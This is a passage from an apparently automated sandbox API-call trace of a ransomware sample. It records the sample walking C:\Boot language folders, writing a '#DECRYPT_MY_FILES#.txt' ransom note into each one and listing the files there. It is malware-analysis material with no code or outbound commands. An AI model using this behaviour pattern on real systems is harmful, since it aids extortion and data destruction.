dwReserved1=0x42d6a8, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.631] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.631] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.631] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.631] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.631] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.631] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0031.631] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.631] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.631] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.631] AreFileApisANSI () returned 1 [0031.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.632] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\fr-FR\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.632] CreateFileW (lpFileName="C:\\\\Boot\\fr-FR\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\fr-fr\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.633] GetFileType (hFile=0x108) returned 0x1 [0031.633] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.633] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.633] GetLastError () returned 0x0 [0031.634] FindFirstFileA (in: lpFileName="C:\\\\Boot\\fr-FR\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.634] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.634] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d60560, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d60560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d60560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.634] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.634] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.634] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.634] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.634] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.634] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.634] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.634] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.634] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.634] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.634] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.635] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.635] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.635] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0031.635] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.635] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.635] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.635] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.635] AreFileApisANSI () returned 1 [0031.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.635] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\hu-HU\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.635] CreateFileW (lpFileName="C:\\\\Boot\\hu-HU\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\hu-hu\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.636] GetFileType (hFile=0x108) returned 0x1 [0031.636] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.636] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.636] GetLastError () returned 0x0 [0031.637] FindFirstFileA (in: lpFileName="C:\\\\Boot\\hu-HU\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.637] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.637] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d866c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.637] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.637] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.637] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.637] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.637] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.637] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.637] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.637] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.637] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.637] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.637] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.637] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.637] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.638] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="it-IT", cAlternateFileName="")) returned 1 [0031.638] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.638] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.638] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.638] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.638] AreFileApisANSI () returned 1 [0031.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.638] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\it-IT\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.638] CreateFileW (lpFileName="C:\\\\Boot\\it-IT\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\it-it\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.639] GetFileType (hFile=0x108) returned 0x1 [0031.639] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.639] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.639] GetLastError () returned 0x0 [0031.640] FindFirstFileA (in: lpFileName="C:\\\\Boot\\it-IT\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.640] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.640] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d866c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.640] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.640] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.641] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.641] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.641] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.641] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.641] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.641] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.641] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.641] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.641] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.641] AreFileApisANSI () returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.641] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\ja-JP\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.641] CreateFileW (lpFileName="C:\\\\Boot\\ja-JP\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\ja-jp\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.642] GetFileType (hFile=0x108) returned 0x1 [0031.642] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.642] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.642] GetLastError () returned 0x0 [0031.643] FindFirstFileA (in: lpFileName="C:\\\\Boot\\ja-JP\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.643] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.643] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d866c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5d866c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5d866c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.643] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.643] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.643] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.643] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.643] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.643] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.643] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.643] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.643] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.643] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.643] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.643] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, 